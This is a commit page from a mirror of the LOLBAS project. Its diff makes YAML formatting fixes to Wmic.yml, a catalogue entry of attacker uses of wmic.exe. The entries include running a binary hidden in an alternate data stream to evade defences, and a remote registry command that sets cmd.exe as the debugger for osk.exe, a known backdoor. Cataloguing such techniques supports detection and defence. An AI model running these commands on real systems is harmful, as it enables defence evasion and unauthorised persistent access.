public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-07-27 04:32:24 +02:00
Code Issues Projects Releases Wiki Activity

Minor adjustments to be yaml compliant

Browse Source
This commit is contained in:
Oddvar Moe
2018-09-24 23:18:00 +02:00
parent 37cc1ee83e
commit f8fec9849b
12 changed files with 60 additions and 55 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
yml/OSBinaries/Wmic.yml
View File

@@ -5,7 +5,7 @@ Author: 'Oddvar Moe'
Created: '2018-05-25'
Commands:
- Command: wmic.exe process call create "c:\ads\file.txt:program.exe"
Description: Execute a .EXE file stored as an Alternate Data Stream (ADS).
Description: Execute a .EXE file stored as an Alternate Data Stream (ADS)
Usecase: Execute binary file hidden in Alternate data streams to evade defensive counter measures
Category: Alternate data streams
Privileges: User
@@ -20,7 +20,7 @@ Commands:
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: wmic.exe /user: /password: /node: process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
- Command: 'wmic.exe /user: /password: /node: process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"'
Description: Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well.
Usecase: Execute binary by manipulate the debugger for a program to evade defensive counter measures
Category: Execute
@@ -72,9 +72,9 @@ Full Path:
- Path: C:\Windows\System32\wmic.exe
- Path: C:\Windows\SysWOW64\wmic.exe
Code Sample:
- Code:
- Code:
Detection:
- IOC: Wmic getting scripts from remote system
- IOC: Wmic getting scripts from remote system
Resources:
- Link: https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
- Link: https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html